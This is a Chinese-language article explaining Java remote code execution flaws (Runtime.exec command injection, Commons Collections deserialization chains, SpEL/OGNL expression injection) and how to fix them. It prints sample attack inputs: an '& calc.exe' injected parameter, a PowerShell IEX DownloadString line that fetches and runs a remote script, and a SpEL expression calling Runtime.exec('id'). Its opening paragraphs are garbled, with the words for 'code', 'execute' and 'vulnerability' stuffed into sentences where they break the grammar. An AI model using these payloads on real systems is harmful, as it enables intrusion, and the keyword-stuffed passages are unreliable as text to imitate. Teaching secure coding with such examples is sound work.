Java代码执行漏洞：不只是代码个技术名词

三年前，某电商平台的执行安全工程师在凌晨两点收到告警——攻击者通过一个看似无害的图片上传接口，在服务器上执行了`whoami`命令。漏洞事后排查发现，代码漏洞根源是执行Java后端对上传文件的文件名处理不当，拼接进了`Runtime.getRuntime().exec()`调用。漏洞这不是代码科幻电影，而是执行Java代码执行漏洞最典型的日常。

Java的漏洞“一次编写，到处运行”特性，代码靠的执行是JVM这个中间层。但成也萧何败也萧何——当开发者把用户输入直接拼进反射调用、漏洞表达式求值或反序列化流程时，代码JVM反而成了攻击者的执行跳板。最常见的漏洞入口有三个：`Runtime.exec()`、`ProcessBuilder`、以及那些看似安全的框架方法。

举个具体例子。某后台管理系统有个导出报表功能，URL参数`?format=pdf`会被拼成`"cmd /c start "+format`。攻击者把参数改成`pdf & calc.exe`，服务器就乖乖弹出了计算器——在真实攻击中，这换成`powershell -c "IEX(New-Object Net.WebClient).DownloadString('恶意脚本')"`就是一条完整的RCE链。这种漏洞在代码审计中屡见不鲜，因为开发者潜意识里认为用户输入只是“一个字符串”，而忽略了它可能变成“一段指令”。

比直接命令执行更隐蔽的是反序列化漏洞。Java对象序列化后是一串二进制流，`ObjectInputStream.readObject()`在恢复对象时会自动调用某些类的`readObject()`方法。攻击者构造恶意序列化数据，让目标类在反序列化时触发危险操作——比如通过Apache Commons Collections的`InvokerTransformer`链式调用，最终执行任意命令。2015年那条经典的`ysoserial`利用链，至今仍让无数老系统瑟瑟发抖。

修复这类漏洞不能靠单一手段。最基础的是输入校验，但别指望正则表达式能挡住所有攻击——攻击者会编码、嵌套、利用Unicode变体绕过。更靠谱的做法是使用白名单机制，比如只允许特定字符集。其次是禁用危险函数，但业务需求往往不允许你一刀切。折中方案是使用安全封装类，比如用`ProcessBuilder`替代`Runtime.exec()`，并显式设置参数数组而非拼接字符串。

我见过太多开发团队在漏洞爆发后临时打补丁，却从不审视代码设计。比如把用户可控数据放进`SpelExpressionParser`或`OGNL`表达式里求值，这跟直接开了一扇后门没区别。还有的框架自带表达式引擎，比如Spring的`SpelExpression`，如果参数没经过严格过滤，攻击者可以构造`T(java.lang.Runtime).getRuntime().exec('id')`这样恐怖的表达式。

说个反直觉的观察：很多Java代码执行漏洞不是“写错”的，而是“设计”出来的。为了追求代码简洁，开发者用反射+字符串拼接来动态调用方法；为了功能灵活，把接口参数直接映射到类名和方法名。这种“动态”在安全视角下全是黑洞。我见过某金融系统为了支持“自定义报表模板”，允许用户提交一段Groovy脚本——开发觉得“内部系统没关系”，结果被内鬼直接用来遍历数据库。

最后说点实在的。如果你在维护Java项目，先做两件事：第一，扫描依赖库版本，重点看`commons-collections`、`fastjson`、`XStream`这类历史漏洞重灾区；第二，在代码里全局搜索`exec(`、`eval(`、`invoke(`、`readObject(`这些关键词，看看输入源是否可控。别迷信WAF，真正的防线得写在代码逻辑里——把用户输入当敌人，而不是当数据。